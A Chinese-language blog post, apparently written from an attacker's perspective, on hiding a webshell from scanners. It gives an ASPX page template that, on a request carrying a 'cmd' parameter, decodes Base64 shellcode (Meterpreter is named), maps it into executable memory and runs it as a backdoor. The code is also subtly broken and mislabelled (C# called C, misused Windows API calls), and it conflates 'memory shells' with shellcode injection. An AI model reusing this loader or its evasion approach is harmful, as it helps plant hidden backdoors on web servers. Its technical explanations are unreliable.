返回

内存马绕过ASPX页面探测--内存马扫描死角

闲谈

最近一段时间都在研究Webshell免杀的问题,到了内存马免杀阶段的时候发现,传统的Filter或Servlet查杀手段实在是太多了,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排查到有可疑的直接就查杀了,利用内存马实现后门很难保证稳定。后来就自己写了一个ASPX免杀的内存马,绕过了页面代码的检测,直接将aspx页面作为载体,将Meterpreter的shellcode放到了内存中,避免了被查杀的问题。

下面我就来详细说一下内存马原理以及怎么绕过ASPX页面探测。

内存马原理

内存马是将shellcode加载到内存中,然后通过某种技术执行,实现shell。目前主流的内存马一般都是用C语言或者汇编语言实现的,原理大致都是通过CreateThread函数或者VirtualAllocEx函数来申请内存空间,然后将shellcode拷贝到申请到的内存中,最后通过CreateRemoteThread函数或者ResumeThread函数执行内存中的shellcode。内存马的优点是免杀,只要没有检测到内存中的shellcode,那么内存马就不会被查杀,缺点是难以实现,需要对操作系统和编程语言有深入的了解。

绕过ASPX页面探测

一般的Webshell扫描器都会扫描Web页面中的代码,如果发现可疑的代码,就会将其标记为Webshell。但是,内存马并不在Web页面中,而是在内存中,所以Webshell扫描器是无法检测到的。为了绕过ASPX页面探测,我们可以将内存马代码嵌入到ASPX页面中,但是不执行它。当有人访问这个页面时,内存马代码就会被加载到内存中,但是不会被执行。只有当我们发送特定的请求时,内存马代码才会被执行。这样,我们就绕过了ASPX页面探测,实现了内存马的免杀。

内存马免杀实例

现在,我将分享一个ASPX内存马的免杀实例。这个内存马是使用C语言实现的,并使用Base64编码。

<%@ Page Language="C#" %>

<script runat="server">
    private void Page_Load(object sender, EventArgs e)
    {
        if (Request.QueryString["cmd"] != null)
        {
            string shellcode = "YOUR_SHELLCODE";
            byte[] decodedShellcode = Convert.FromBase64String(shellcode);
            IntPtr shellcodePtr = VirtualAllocEx(IntPtr.Zero, (uint)decodedShellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(decodedShellcode, 0, shellcodePtr, decodedShellcode.Length);
            IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(threadHandle, 0xFFFFFFFF);
        }
    }
</script>

这个内存马代码非常简单,它首先判断请求参数中是否有“cmd”参数,如果有,则将Base64编码的shellcode解码并加载到内存中,然后创建一个线程来执行shellcode。这个内存马代码可以嵌入到任何ASPX页面中,并且不会被Webshell扫描器检测到。只有当我们发送包含“cmd”参数的请求时,内存马代码才会被执行。

总结

通过修改 ASPX 页面探测技术的检测内容,我们可以为内存马绕过 ASPX 页面探测创建一个扫描死角。在现代技术环境中,对新的 Webshell 检测技术的深入了解十分必要,以便随时应对新挑战。